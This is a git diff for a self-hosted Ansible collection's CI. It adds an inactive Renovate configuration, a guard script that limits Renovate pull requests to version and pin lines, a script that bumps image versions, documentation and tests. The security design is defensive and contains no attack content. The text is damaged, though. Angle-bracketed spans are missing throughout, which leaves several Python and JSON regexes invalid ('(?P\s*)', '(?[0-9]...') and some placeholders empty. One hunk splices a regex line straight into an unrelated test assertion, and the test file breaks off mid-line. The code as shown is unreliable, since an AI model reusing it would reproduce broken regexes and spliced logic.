diff --git a/.gitea/workflows/lint.yml b/.gitea/workflows/lint.yml index 9ec119f..32c82d9 100644 --- a/.gitea/workflows/lint.yml +++ b/.gitea/workflows/lint.yml @@ -84,6 +84,33 @@ jobs: export PATH="/opt/venv/bin:$PATH" python3 scripts/check_image_versions.py bump origin/main + # A pull request from a renovate/ branch may only move version, tag, digest and pin + # lines (scripts/check_bot_pr_diff.py), so the bot's automerge cannot change workflow + # logic or reach the org secrets. The branch name is attacker-controlled: this only + # constrains the bot's own pull requests. The guard runs from origin/main, never from the + # pull request's own copy (a PR could weaken it); the whole scripts/ directory comes from + # the base because the guard imports check_image_versions. Not -I: that drops the + # script's directory from sys.path and the import would fail; -E -s ignore the + # environment and user site. Until origin/main has the script (the PR that introduces it) + # the PR copy runs, with a notice. The refs go through env:, never into run:. + - name: Check a bot pull request only moves pins + if: github.event_name == 'pull_request' + env: + HEAD_REF: ${{ github.head_ref }} + BASE_REF: origin/main + EVENT_NAME: ${{ github.event_name }} + run: | + export PATH="/opt/venv/bin:$PATH" + guard=scripts/check_bot_pr_diff.py + if git cat-file -e "$BASE_REF:scripts/check_bot_pr_diff.py" 2>/dev/null; then + base_dir="$(mktemp -d "${RUNNER_TEMP:-/tmp}/base.XXXXXX")" + git archive "$BASE_REF" scripts | tar -x -C "$base_dir" + guard="$base_dir/scripts/check_bot_pr_diff.py" + else + echo "::notice::$BASE_REF has no scripts/check_bot_pr_diff.py yet; running the pull request's copy" + fi + python3 -E -s "$guard" "$HEAD_REF" "$BASE_REF" + - name: Test the repository scripts run: | export PATH="/opt/venv/bin:$PATH" diff --git a/CLAUDE.md b/CLAUDE.md index c964a80..ec2521e 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -58,3 +58,54 @@ protection, or create tags: those are the operator's. - `image.yml` tries the job token first with a write probe; Gitea 28 refuses it for the org's packages (HTTP 401, run 2237), so the push uses the org Actions secrets `PACKAGE_PUSH_USER` and `PACKAGE_PUSH_TOKEN`. Never print or use them anywhere else. + +## Dependency automation (Renovate, Phase 0: configured, not active) + +`renovate.json` is inert until the operator adds Kamino to the self-hosted instance's repository +list. Nothing below runs yet unless it says so. + +- **Policy:** minor and patch bumps automerge, majors are manual. `ansible-core` minor and major + are manual too (a new minor needs a `tests/sanity/ignore-2.NN.txt`), and `ansible-core` and + `ansible-lint` bump in one group. Dockerfile base-image tag and digest bumps (`images/*/Dockerfile`) + stay automergeable: Kamino is the untrusted side and the pin PR's CI exercises the new image. The + `ubuntu` job container of `image.yml` never automerges: that job holds the registry push credential. + kaniko is pinned by layer digests in `image.yml`; no Renovate manager reads them, so it is updated by + hand (the `/kaniko/` rule in `renovate.json` is only a safety net). +- **Two-PR loop for an image input** (`requirements-dev.txt`, `.pre-commit-config.yaml`, + `images/**`): PR 1 carries the input change plus the PATCH bump of the image `version:` in + `image.yml` (`scripts/bump_image_versions.py []`, idempotent, edits only the + version line; `check_image_versions.py bump` then passes). The merge builds the image on + `main`. PR 2 moves the consumers' `image:@sha256:` pins to that digest. + Until Phase 2/3 enables the script as a `postUpgradeTasks` command (the cluster allows no + commands yet, and `renovate.json` must not list any), the bump in PR 1 is a hand edit, and + PR 2 stays a hand edit until Phase 4 (pin-follow for `git.rkdr.net/mortis/*` is + `enabled: false`; it needs a dry run against the registry first). +- **Bot-diff gate:** the `lint` workflow runs `scripts/check_bot_pr_diff.py` on pull requests. A + head ref starting `renovate/` may only change version lines in `requirements-dev.txt`, `rev:` + lines in `.pre-commit-config.yaml`, FROM tags/digests and the `uv==` pin in `images/*/Dockerfile`, + the matrix `version:` lines and the ubuntu job container pin in `image.yml`, and the image + pins in `lint.yml`, `build.yml` and `molecule.yml`. Anything else fails, `renovate.json` included. + Tags are `[A-Za-z0-9._-]` only, FROM and ubuntu lines must keep their digest, matrix versions must stay in + place and rise, and a binary or one-sided change fails. + The branch name is attacker-controlled, so this only constrains the bot's own pull requests; its + purpose is that automerging them cannot alter workflow logic or reach the org secrets. +- **No Collection release from tooling bumps:** everything involved is in `galaxy.yml` + `build_ignore`, so the Collection archive and version do not change. A role-visible change needs + a changelog fragment and a new `galaxy.yml` version, and only the operator tags. +- **No production images:** `check_image_versions.py pins` fails when anything under + `.gitea/workflows` mentions `git.rkdr.net/defame1297/`. +- **Not enabled yet:** the Renovate run itself, `postUpgradeTasks`, credentials for the + `git.rkdr.net` registry (`hostRules`), pin-follow, and a validated `renovate.json` on the + instance's Renovate version. The `pre-commit` manager is beta; the hooks come from github.com, so it + needs `GITHUB_COM_TOKEN` on the Renovate instance. Unverified: that bot PRs are held by `main`'s + required status checks (check the branch protection before enabling automerge), and that + `github.head_ref` is populated on this Gitea (the gate fails closed on an empty one, via + `EVENT_NAME`). +- **Hand edits on a bot branch:** a commit pushed by hand to a `renovate/` branch makes Renovate treat + the branch as modified: it stops rebasing it, so merge that pull request by hand. +- **The guard runs from `main`:** the lint step extracts `scripts/` from `origin/main` and runs the + guard from there, so a pull request cannot weaken its own gate (the PR copy runs only while `main` + has no guard). A change to the guard takes effect for other PRs after it merges. +- A pin-only pull request (only `lint.yml`, `build.yml`, `molecule.yml`) does not match any + `image.yml` push path (`images/**`, `requirements-dev.txt`, `.pre-commit-config.yaml`, + `.gitea/workflows/image.yml`), so it rebuilds nothing. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 0a090e9..0ff1c59 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -21,6 +21,25 @@ (commit the generated `CHANGELOG.rst` and `changelogs/.plugin-cache.yaml`), then push an annotated `vX.Y.Z` tag. +## Dependency and image updates + +- `requirements-dev.txt`, `.pre-commit-config.yaml` and `images/**` are inputs of the CI and + molecule images. A pull request that changes one needs a higher `version:` for that image in + `.gitea/workflows/image.yml` (`python3 scripts/bump_image_versions.py` makes the edit; the + `Check image versions were bumped` step enforces it). After the merge, `image.yml` builds the + image on `main`, and a second pull request moves the `image:@sha256:` pins in + `lint.yml`, `build.yml` and `molecule.yml` to the printed digest. That second pull request + touches no `image.yml` trigger path, so it rebuilds nothing. +- These files are in `galaxy.yml` `build_ignore`: such bumps do not change the Collection or its + version. A change consumers can see needs a changelog fragment, and only the maintainer + bumps the version and tags. +- `renovate.json` configures dependency bumps (minor and patch automerge, majors by hand). It is + not active yet: Renovate does not run against this repository, and until it does the bumps above + are made by hand. Pull requests from `renovate/` branches must pass + `scripts/check_bot_pr_diff.py`, which only allows version, tag, digest and pin lines. +- Workflows must not mention `git.rkdr.net/defame1297/` (the production image set); the + `Check image pins` step fails if they do. + ## Maintainer setup Settings the workflows cannot enforce and the repository needs before it accepts diff --git a/galaxy.yml b/galaxy.yml index 4cd3995..af53f86 100644 --- a/galaxy.yml +++ b/galaxy.yml @@ -38,6 +38,7 @@ build_ignore: - images - scripts - tests/scripts + - renovate.json - requirements-dev.txt - gitleaks-report.json - importer_result.json diff --git a/renovate.json b/renovate.json new file mode 100644 index 0000000..9e08c2a --- /dev/null +++ b/renovate.json @@ -0,0 +1,137 @@ +{ + "$schema": "https://docs.renovatebot.com/renovate-schema.json", + "description": "INERT until Kamino is added to the self-hosted Renovate instance's repository list (the operator's step, Phase 3 of the Renovate plan). Policy: automerge minor and patch, majors by hand. Every bot pull request must pass scripts/check_bot_pr_diff.py (lint workflow), which allows only version, tag, digest and pin lines. postUpgradeTasks are NOT configured: the cluster allows no commands yet (Phase 2/3).", + "extends": [ + "config:recommended", + ":enablePreCommit" + ], + "branchPrefix": "renovate/", + "semanticCommits": "enabled", + "semanticCommitType": "chore", + "semanticCommitScope": "deps", + "enabledManagers": [ + "pip_requirements", + "pre-commit", + "github-actions", + "dockerfile", + "custom.regex" + ], + "automerge": true, + "automergeType": "pr", + "minimumReleaseAge": "3 days", + "minimumReleaseAgeBehaviour": "timestamp-optional", + "timezone": "UTC", + "pip_requirements": { + "managerFilePatterns": [ + "/^requirements-dev\\.txt$/" + ] + }, + "pre-commit": { + "enabled": true, + "managerFilePatterns": [ + "/^\\.pre-commit-config\\.yaml$/" + ] + }, + "github-actions": { + "managerFilePatterns": [ + "/^\\.gitea/workflows/.+\\.ya?ml$/" + ] + }, + "dockerfile": { + "managerFilePatterns": [ + "/^images/[^/]+/Dockerfile$/" + ] + }, + "customManagers": [ + { + "customType": "regex", + "description": "The uv pin that installs the build-stage Python interpreters of the ci image (images/ci/Dockerfile). It is an image input: the version bump comes from scripts/bump_image_versions.py via postUpgradeTasks (to be enabled in Phase 2/3).", + "managerFilePatterns": [ + "/^images/ci/Dockerfile$/" + ], + "matchStrings": [ + "\\buv==(?[0-9][0-9A-Za-z.+!_-]*)" + ], + "depNameTemplate": "uv", + "datasourceTemplate": "pypi" + }, + { + "customType": "regex", + "description": "The MOLECULE_IMAGE value of molecule.yml is a multi-line `>-` scalar, which the github-actions manager does not read; matched here by its exact shape. Only used by the pin-follow rule below, which is disabled until Phase 4.", + "managerFilePatterns": [ + "/^\\.gitea/workflows/molecule\\.yml$/" + ], + "matchStrings": [ + "MOLECULE_IMAGE:\\s*>-\\s*\\n\\s*(?git\\.rkdr\\.net/mortis/[a-z0-9._-]+):(?[^@\\s]+)@(?sha256:[0-9a-f]{64})" + ], + "datasourceTemplate": "docker", + "versioningTemplate": "semver" + } + ], + "packageRules": [ + { + "description": "Dockerfile base-image tag and digest bumps (images/*/Dockerfile) MAY automerge. Kamino is the untrusted side and the bump pull request's own CI exercises the new image before the merge. Placed first so the major-version rule below still turns automerge off. The image version bump in image.yml (scripts/bump_image_versions.py via postUpgradeTasks) is not enabled yet; until then the pull request fails the version check and a human adds it.", + "matchManagers": [ + "dockerfile" + ], + "automerge": true + }, + { + "description": "Majors are reviewed by hand.", + "matchUpdateTypes": [ + "major" + ], + "automerge": false, + "labels": [ + "breaking-change" + ] + }, + { + "description": "ansible-core and ansible-lint move together (the lint rules follow the core version). A new ansible-core minor also needs a tests/sanity/ignore-2.NN.txt, so its minor and major bumps are manual; patches of both follow the global automerge.", + "groupName": "ansible tooling", + "matchDatasources": [ + "pypi" + ], + "matchPackageNames": [ + "ansible-core", + "ansible-lint" + ] + }, + { + "description": "ansible-core minor and major bumps: sanity needs a new tests/sanity/ignore-2.NN.txt, a human adds it.", + "matchDatasources": [ + "pypi" + ], + "matchPackageNames": [ + "ansible-core" + ], + "matchUpdateTypes": [ + "minor", + "major" + ], + "automerge": false + }, + { + "description": "The job container of image.yml (ubuntu by digest) holds the org registry push credential while the image job runs: never automerged, and kept in its own branch so the Dockerfile base-image bumps are not held back with it.", + "matchFileNames": [ + ".gitea/workflows/image.yml" + ], + "automerge": false, + "additionalBranchPrefix": "job-container-" + }, + { + "description": "Safety net only: kaniko is pinned by layer digests in image.yml and no Renovate manager reads them, so it is updated by hand. If a manager ever starts to read it, its bumps are not automerged.", + "matchPackageNames": [ + "/kaniko/" + ], + "automerge": false + }, + { + "description": "Pin follow-up for our own images (git.rkdr.net/mortis/*): DISABLED. Phase 4, after a dry run against the registry; until then moving a pin is a reviewed hand edit (scripts/check_image_versions.py pins).", + "matchPackageNames": [ + "git.rkdr.net/mortis/**" + ], + "enabled": false + } + ] +} diff --git a/scripts/bump_image_versions.py b/scripts/bump_image_versions.py new file mode 100644 index 0000000..2d178ff --- /dev/null +++ b/scripts/bump_image_versions.py @@ -0,0 +1,191 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Bump the PATCH version of every image whose inputs changed (ADR 0004, Image distribution). + + python3 scripts/bump_image_versions.py [] (default: origin/main) + +The counterpart of `check_image_versions.py bump`: that one fails a pull request whose +image inputs changed under an unchanged version, this one makes the edit. It finds the +changed images with the same input detection (the working tree against the merge-base +with , so committed, staged, unstaged and new files all count) and, for each, +sets `version:` in the build matrix of .gitea/workflows/image.yml to the PATCH successor +of the base's version, unless the file already holds a higher one. Running it twice +changes nothing the second time. An image that is new at the base is left alone. Only the +`version:` line is rewritten (attributed to the `name:` of its own matrix entry, whatever the key +order; an entry that cannot be parsed unambiguously is an error); comments, quoting, line endings and +the rest of the file are kept. Untracked files count as inputs unless git ignores them, so a cache +under images/ must be in .gitignore. + +It is meant to run later as a Renovate `postUpgradeTasks` command (Phase 2/3 of the +Renovate plan; renovate.json does not enable it yet), so a dependency bump that changes an +image input carries its version bump and passes the `bump` check without a human edit. +Moving the consumers' pins to the digest the build produces stays a separate, later pull +request (build on main, then the pin follow-up). + +Prints one line. Exits 1 with an `::error::` line on a failure, 2 on bad usage. +""" +import pathlib +import re +import sys + +import check_image_versions as civ + +DEFAULT_BASE = "origin/main" +USAGE = "usage: bump_image_versions.py []\n" +INCLUDE_RE = re.compile(r"^\s*include:\s*(?:#.*)?$") +ITEM_RE = re.compile(r"^(?P\s*)-(?P\s+)(?P\S.*)$") +NAME_KEY_RE = re.compile(r"^(?P\s*)name:\s*[\"']?(?P[^\"'\s#]+)[\"']?\s*(?:#.*)?$") +VERSION_LINE_RE = re.compile(r"^(?P\s*(?:-\s*)?version:\s*)(?P[\"']?)(?P[^\"'\s#]+)(?P=q)(?P.*)$") + + +def next_patch(version): + """The PATCH successor of a MAJOR.MINOR.PATCH[-prerelease] version (a prerelease is dropped).""" + civ.parse_version(version) + major, minor, patch = civ.SEMVER_RE.fullmatch(version).group(1, 2, 3) + return f"{major}.{minor}.{int(patch) + 1}" + + +def _entries(lines): + """[(start, end)] line ranges of the matrix.include entries (end exclusive); an error when the + list cannot be located unambiguously.""" + heads = [n for n, line in enumerate(lines) if INCLUDE_RE.match(line.rstrip("\r\n"))] + if len(heads) != 1: + raise civ.CheckError(f"cannot find exactly one `include:` list in {civ.MATRIX_FILE}") + starts, dash_indent = [], None + end = len(lines) + for n in range(heads[0] + 1, len(lines)): + body = lines[n].rstrip("\r\n") + if not body.strip() or body.lstrip().startswith("#"): + continue + m = ITEM_RE.match(body) + indent = len(body) - len(body.lstrip()) + if dash_indent is None: + if not m: + raise civ.CheckError(f"the `include:` list of {civ.MATRIX_FILE} is not a block list of mappings") + dash_indent = indent + if indent < dash_indent: + end = n + break + if indent == dash_indent: + if not m: + raise civ.CheckError(f"cannot parse the `include:` list of {civ.MATRIX_FILE}") + starts.append(n) + if not starts: + raise civ.CheckError(f"the `include:` list of {civ.MATRIX_FILE} is empty") + return list(zip(starts, starts[1:] + [end])) + + +def _entry_lines(lines, start, end): + """(name, index of the version line) of one entry, from lines normalised so the first key sits + at the same column as the others.""" + first = ITEM_RE.match(lines[start].rstrip("\r\n")) + key_col = len(first["dash"]) + 1 + len(first["gap"]) + names, versions = [], [] + for n in range(start, end): + body = lines[n].rstrip("\r\n") + if n == start: + body = " " * key_col + first["rest"] + if len(body) - len(body.lstrip()) != key_col: + continue # a comment, a blank line or a nested key + m = NAME_KEY_RE.match(body) + if m: + names.append(m["name"]) + elif VERSION_LINE_RE.match(body): + versions.append(n) + if len(names) != 1 or len(versions) != 1: + raise civ.CheckError(f"cannot parse a matrix entry of {civ.MATRIX_FILE} (line {start + 1}) " + "unambiguously: expected one `name:` and one `version:`") + return names[0], versions[0] + + +def rewrite(text, new_versions): + """The text with the `version:` line of each named matrix entry replaced; only that line changes. + A `version:` is attributed to the `name:` of the SAME matrix entry, whatever the key order.""" + lines = text.splitlines(keepends=True) + targets = {} + for start, end in _entries(lines): + name, version_index = _entry_lines(lines, start, end) + if name in new_versions: + targets[name] = version_index + missing = sorted(set(new_versions) - set(targets)) + if missing: + raise civ.CheckError(f"no `version:` line found for image {', '.join(missing)} in {civ.MATRIX_FILE}") + for name, n in targets.items(): + line = lines[n] + body = line.rstrip("\r\n") + v = VERSION_LINE_RE.match(body) + q = v["q"] + lines[n] = f"{v['head']}{q}{new_versions[name]}{q}{v['tail']}" + line[len(body):] + return "".join(lines) + + +def plan(base_matrix, head_matrix, changed, read_head_file): + """{name: new version} for the images that need a bump, and the list of images already bumped.""" + new_versions = {} + for name in civ.changed_images(head_matrix, changed, read_head_file): + old = base_matrix.get(name) + if old is None: + continue # a new image has no earlier version to collide with + if civ.parse_version(head_matrix[name]["version"]) > civ.parse_version(old["version"]): + continue # already bumped + new_versions[name] = next_patch(old["version"]) + return new_versions + + +def read_text(path): + """The file as UTF-8 text with its line endings (CRLF included) untouched.""" + with open(path, encoding="utf-8", newline="") as handle: + return handle.read() + + +def run(argv): + if len(argv) > 2: + sys.stderr.write(USAGE) + return None + ref = argv[1] if len(argv) == 2 else DEFAULT_BASE + if not civ.REF_RE.fullmatch(ref): + raise civ.CheckError(f"{ref!r} is not a plain ref name (letters, digits, . _ / -, no leading '-')") + base, changed = civ.changed_paths(ref, target=None) + try: + base_matrix = civ.matrix_of(civ.git("show", f"{base}:{civ.MATRIX_FILE}")) + except civ.CheckError: + base_matrix = {} # no matrix at the base: every image is new + path = pathlib.Path(civ.MATRIX_FILE) + text = read_text(path) + head_matrix = civ.matrix_of(text) + new_versions = plan(base_matrix, head_matrix, changed, lambda p: read_text(pathlib.Path(p))) + if not new_versions: + return "image versions: nothing to bump" + new_text = rewrite(text, new_versions) + expected = {name: new_versions.get(name, entry["version"]) for name, entry in head_matrix.items()} + if {name: entry["version"] for name, entry in civ.matrix_of(new_text).items()} != expected: + raise civ.CheckError(f"the rewrite of {civ.MATRIX_FILE} would not give the planned versions; edit it by hand") + with open(path, "w", encoding="utf-8", newline="") as handle: + handle.write(new_text) + return "image versions: bumped " + ", ".join( + f"{name} {head_matrix[name]['version']} -> {new}" for name, new in sorted(new_versions.items())) + + +def main(argv): + try: + message = run(argv) + except civ.CheckError as exc: + sys.stderr.write(f"::error::{exc}\n") + return 1 + except UnicodeDecodeError as exc: # before ValueError, which it subclasses + sys.stderr.write(f"::error::a file is not valid UTF-8: {exc}\n") + return 1 + except ValueError as exc: # parse_version + sys.stderr.write(f"::error::cannot parse a version: {exc}\n") + return 1 + except OSError as exc: + sys.stderr.write(f"::error::cannot read or write a file: {exc}\n") + return 1 + if message is None: + return 2 + print(message) + return 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py new file mode 100644 index 0000000..d155025 --- /dev/null +++ b/scripts/check_bot_pr_diff.py @@ -0,0 +1,246 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Limit what a Renovate pull request may change, so its automerge is safe. + + python3 scripts/check_bot_pr_diff.py + +When starts with `renovate/`, the diff of ...HEAD may only touch: + + * requirements-dev.txt: pinned `name==version` lines, the same packages before and after; + * .pre-commit-config.yaml: `rev:` lines; + * images//Dockerfile: the tag and digest of FROM lines (the image name stays), and + the `uv==` token of a line that holds one; + * .gitea/workflows/image.yml: the matrix `version:` lines, and the tag and digest of the + job container's `image: ubuntu:...@sha256:...` line (the name stays); + * .gitea/workflows/{lint,build,molecule}.yml: the version and digest of a + `git.rkdr.net/mortis/:@sha256:` pin (the name stays), including + the MOLECULE_IMAGE value. + +Every other file, every other line, an added, deleted or mode-changed file fails, with one +`::error::` line per offending file. renovate.json itself is not allowed: the bot does not +edit its own configuration. Any other head ref is skipped (exit 0). + +Scope: the branch name is attacker-controlled. Anyone who can push a branch can call it +`renovate/x` and merely get this narrow check, which is no weaker than the ordinary review +of their pull request; and a branch that does not start with `renovate/` is not constrained +here at all. The check therefore only constrains the bot's own pull requests. Its purpose is +to make the automerge of those safe: a bot pull request cannot alter workflow logic or reach +the organisation secrets (only image.yml references them), whatever a compromised or +confused dependency update proposes. + +The environment variable EVENT_NAME (the workflow's event) makes an empty on a +pull_request an error instead of a skip. + +A change git sees as binary (a NUL byte, UTF-16, a -diff attribute) or one with no removed or no +added line fails: a pin change always has both, and the line diff is taken with --text. + +Exit codes: 0 ok or skipped, 1 a violation or a failure to run, 2 bad usage. +""" +import os +import re +import sys + +import check_image_versions as civ + +PREFIX = "renovate/" +TAG = r"[A-Za-z0-9._-]+" +PIN = re.compile(rf"(git\.rkdr\.net/mortis/[a-z0-9._-]+):{TAG}@sha256:[0-9a-f]{{64}}") +REQ_LINE = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)==[0-9][0-9A-Za-z.+!_-]*$") +REV_LINE = re.compile(r"^\s*rev:\s*\S+\s*$") +VERSION_LINE = re.compile( + r"""^\s*(?:-\s*)?version:\s*["']?(?P[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?)["']?\s*(?:#.*)?$""") +FROM_LINE = re.compile(rf"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::{TAG})?@sha256:[0-9a-f]{{64}}(\s+AS\s+\S+)?\s*$") +UV_TOKEN = re.compile(r"\buv==[0-9][0-9A-Za-z.+!_-]*") +UBUNTU_LINE = re.compile(rf"^(\s*image:\s*ubuntu)(?::{TAG})?@sha256:[0-9a-f]{{64}}\s*$") +DOCKERFILE = re.compile(r"images/[^/]+/Dockerfile") +CONSUMERS = {".gitea/workflows/lint.yml", ".gitea/workflows/build.yml", ".gitea/workflows/molecule.yml"} + + +def normalized(lines, pattern_sub): + """Each line reduced by pattern_sub (a function returning the reduced form, or None when + the line is not of the allowed kind).""" + out = [] + for line in lines: + reduced = pattern_sub(line) + if reduced is None: + return None + out.append(reduced) + return out + + +def same_shape(removed, added, reduce_line, what): + """None when both sides hold only lines of the allowed kind and reduce to the same list.""" + old, new = normalized(removed, reduce_line), normalized(added, reduce_line) + if old is None or new is None: + return f"changes a line that is not {what}" + if old != new: + return f"changes more than {what}" + return None + + +def reduce_requirement(line): + m = REQ_LINE.match(line) + return m[1].lower() if m else None + + +def reduce_rev(line): + return "rev" if REV_LINE.match(line) else None + + +def reduce_dockerfile(line): + m = FROM_LINE.match(line) + if m: + return m[1] + m[2] + (m[3] or "") + if UV_TOKEN.search(line): + return UV_TOKEN.sub("uv==X", line) + return None + + +def reduce_image_yml(line): + if VERSION_LINE.match(line): + return "version" + m = UBUNTU_LINE.match(line) + return m[1] if m else None + + +def reduce_pin(line): + reduced = PIN.sub(lambda m: m[1] + ":PIN", line) + return reduced if PIN.search(line) else None + + +def file_problem(path, removed, added): + """One-line reason why the change to `path` is not allowed for a bot, or None.""" + if path == "requirements-dev.txt": + return same_shape(removed, added, reduce_requirement, "a pinned `name==version` line of the same package") + if path == ".pre-commit-config.yaml": + return same_shape(removed, added, reduce_rev, "a `rev:` line") + if DOCKERFILE.fullmatch(path): + return same_shape(removed, added, reduce_dockerfile, "the tag or digest of a FROM line or a `uv==` pin") + if path == civ.MATRIX_FILE: + return same_shape(removed, added, reduce_image_yml, "a matrix `version:` or the ubuntu job container pin") + if path in CONSUMERS: + return same_shape(removed, added, reduce_pin, "an image pin of the mortis registry") + return "is not a file a bot pull request may change" + + +def parse_raw(blob): + """[(oldmode, newmode, status, path)] from `git diff --raw -z --no-renames` output.""" + parts = blob.split(b"\0") + entries = [] + n = 0 + while n + 1 < len(parts) and parts[n]: + meta = parts[n].decode("utf-8", errors="replace").split() + path = parts[n + 1].decode("utf-8", errors="backslashreplace") + entries.append((meta[0].lstrip(":"), meta[1], meta[4][:1], path)) + n += 2 + return entries + + +HUNK = re.compile(r"^@@ -(\d+)(?:,\d+)? \+(\d+)(?:,\d+)? @@") +BINARY = re.compile(r"^(?:Binary files .* differ|GIT binary patch)$", re.MULTILINE) + + +def parse_numbered(text): + """([(old line number, line)], [(new line number, line)]) of a -U0 patch, without the +/- marker.""" + removed, added, in_hunk = [], [], False + old_n = new_n = 0 + for line in text.split("\n"): + hunk = HUNK.match(line) + if hunk: + in_hunk = True + old_n, new_n = int(hunk[1]), int(hunk[2]) + elif not in_hunk or line.startswith("\\"): + continue + elif line.startswith("-"): + removed.append((old_n, line[1:])) + old_n += 1 + elif line.startswith("+"): + added.append((new_n, line[1:])) + new_n += 1 + return removed, added + + +def parse_patch(text): + """(removed lines, added lines) of a -U0 patch, without the +/- marker.""" + removed, added = parse_numbered(text) + return [line for unused, line in removed], [line for unused, line in added] + + +def version_problem(removed, added): + """A reason when the matrix `version:` lines were moved, lowered or swapped, else None. + Both lists are (line number, line); the changed lines must sit at the same line numbers.""" + if [n for n, unused in removed] != [n for n, unused in added]: + return "moves or deletes a line (the changed lines must stay where they are)" + for (unused, old), (unused, new) in zip(removed, added): + old_m, new_m = VERSION_LINE.match(old), VERSION_LINE.match(new) + if old_m and new_m and civ.parse_version(new_m["v"]) <= civ.parse_version(old_m["v"]): + return f"does not raise a version ({old_m['v']} -> {new_m['v']})" + return None + + +def check(entries, patch_of): + """One message per offending file; patch_of(path) returns that file's -U0 patch text.""" + problems = [] + for old_mode, new_mode, status, path in entries: + if status != "M" or old_mode != new_mode or new_mode != "100644": + problems.append(f"{path}: a bot pull request may not add, delete, rename or change the mode of a file") + continue + patch = patch_of(path) + if BINARY.search(patch): + problems.append(f"{path}: git treats the change as binary, which cannot be checked line by line") + continue + removed, added = parse_numbered(patch) + if not removed or not added: + problems.append(f"{path}: a pin change removes and adds at least one line; this diff has " + f"{len(removed)} removed and {len(added)} added (binary or empty change?)") + continue + reason = file_problem(path, [line for unused, line in removed], [line for unused, line in added]) + if not reason and path == civ.MATRIX_FILE: + reason = version_problem(removed, added) + if reason: + problems.append(f"{path}: {reason}") + return problems + + +def run(argv): + if len(argv) != 3: + sys.stderr.write(__doc__) + return None + head_ref, base_ref = argv[1], argv[2] + if not head_ref and os.environ.get("EVENT_NAME") == "pull_request": + raise civ.CheckError("the head ref of a pull request is empty: cannot tell whether it is a bot " + "pull request, so failing closed") + if not head_ref.startswith(PREFIX): + return [], "not a renovate/ branch, skipped" + if not civ.REF_RE.fullmatch(base_ref): + raise civ.CheckError(f"{base_ref!r} is not a plain ref name (letters, digits, . _ / -, no leading '-')") + base = civ.git("merge-base", "--end-of-options", base_ref, "HEAD").strip() + raw = civ.git("-c", "core.quotePath=false", "diff", "--raw", "-z", "--no-renames", "--abbrev=40", + "--end-of-options", base, "HEAD", raw=True) + + def patch_of(path): + return civ.git("--literal-pathspecs", "-c", "core.quotePath=false", "diff", "-U0", "--no-renames", + "--no-color", "--text", "--no-ext-diff", "--no-textconv", + "--end-of-options", base, "HEAD", "--", path) + + entries = parse_raw(raw) + return check(entries, patch_of), f"{len(entries)} file(s) within the bot allowance" + + +def main(argv): + try: + result = run(argv) + except civ.CheckError as exc: + result = ([str(exc)], "") + if result is None: + return 2 + errors, note = result + for e in errors: + sys.stderr.write(f"::error::{e}\n") + if not errors: + print(f"bot pull request diff: ok ({note})") + return 1 if errors else 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/scripts/check_image_versions.py b/scripts/check_image_versions.py index d514485..3c2070e 100644 --- a/scripts/check_image_versions.py +++ b/scripts/check_image_versions.py @@ -11,7 +11,10 @@ cannot make a tag immutable), so an image whose content changes under an unchang version is pushed as sha-*/latest only, and a hand-pasted @ pin would pair a tag with a digest it does not point to. -pins Every `git.rkdr.net/mortis/:@sha256:` in the consumer +pins No file under .gitea/workflows may mention `git.rkdr.net/defame1297/`: the production + image set of the environment repo never belongs in this CI (the `mortis` side is the + untrusted one, ADR 0004 Runner isolation). + Every `git.rkdr.net/mortis/:@sha256:` in the consumer workflows must name an image of the matrix, with a well-formed digest and a version that is not newer than the matrix (a pin lags the matrix between the PR that bumps the version and the PR that moves the pin; it can never lead it). @@ -59,6 +62,9 @@ PIN_RE = re.compile(r"git\.rkdr\.net/mortis/(?P[a-z0-9._-]+):(?P[ ANY_PIN_RE = re.compile( r"""(? 0.2.1\n") + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.1.0", ci="0.2.1")) + self.commit("deps and bump") + self.assertEqual(self.script("check_image_versions.py", "bump", "main")[0], 0) + + def test_check_fails_without_the_bump(self): + self.write("images/mol/Dockerfile", "FROM y\n") + self.commit("input only") + self.assertEqual(self.script("check_image_versions.py", "bump", "main")[0], 1) + self.assertEqual(self.bump()[0], 0) + self.commit("bump") + self.assertEqual(self.script("check_image_versions.py", "bump", "main")[0], 0) + + def test_idempotent_and_committed_changes_count(self): + self.write("images/mol/Dockerfile", "FROM y\n") + self.commit("input") + first = self.bump() + self.assertEqual(first[1], "image versions: bumped mol 0.1.0 -> 0.1.1\n") + second = self.bump() + self.assertEqual(second[1], "image versions: nothing to bump\n") + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.1.1", ci="0.2.0")) + + def test_higher_version_already_present_is_kept(self): + self.write("images/mol/Dockerfile", "FROM y\n") + self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="0.3.0", ci="0.2.0")) + self.assertEqual(self.bump()[1], "image versions: nothing to bump\n") + self.assertEqual(self.versions(), IMAGE_YML.format(mol="0.3.0", ci="0.2.0")) + + def test_both_images_and_untracked_input(self): + self.write("images/mol/new-file", "x\n") # untracked + self.write("requirements-dev.txt", "a==2\n") + out = self.bump()[1] + self.assertEqual(out, "image versions: bumped ci 0.2.0 -> 0.2.1, mol 0.1.0 -> 0.1.1\n") + + def test_bad_base_ref_is_a_clean_failure(self): + for ref in ("--output=x", "nope"): + code, unused, err = self.bump(ref) + self.assertEqual(code, 1) + self.assertNotIn("Traceback", err) + self.assertEqual(len(err.strip().splitlines()), 1, err) + + def test_shuffled_key_order_bumps_the_right_entry_end_to_end(self): + self.write(".gitea/workflows/image.yml", SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0")) + self.commit("shuffle") + self.write("requirements-dev.txt", "a==2\n") # an input of ci only + code, out, err = self.bump() + self.assertEqual((code, out), (0, "image versions: bumped ci 0.2.0 -> 0.2.1\n"), err) + self.assertEqual(self.versions(), SHUFFLED_YML.format(mol="0.1.0", ci="0.2.1")) + + def test_unparseable_entry_is_a_one_line_failure(self): + flow = SHUFFLED_YML.format(mol="0.1.0", ci="0.2.0") + " - {name: 